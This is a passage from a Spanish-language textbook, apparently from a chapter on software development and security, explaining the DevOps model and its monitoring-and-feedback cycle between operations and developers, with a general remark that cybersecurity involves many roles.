nicación y la cooperación con el desarrollo y las operaciones de software. Observa la 
siguiente figura: 
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Ops 


Figura 7.9 Modelo DevOps 


En este modelo se observa que después de la implementación y operación de la 
aplicación se crea una fase de monitoreo en la cual los problemas y los nuevos requisitos 
del cliente se transmiten a los desarrolladores, éstos a su vez crean un cronograma para 
codificar y probar los nuevos requisitos y luego usan una nueva versión de la aplicación. 


La seguridad cibernética es un problema amplio en el que los usuarios, programa- 
dores, administradores de sistemas, expertos en operaciones y seguridad juegan un 


papel importante. 


El modelo DevOps enfatiza el rol de todos estos jugadores y tiene cada vez más 
seguidores. 
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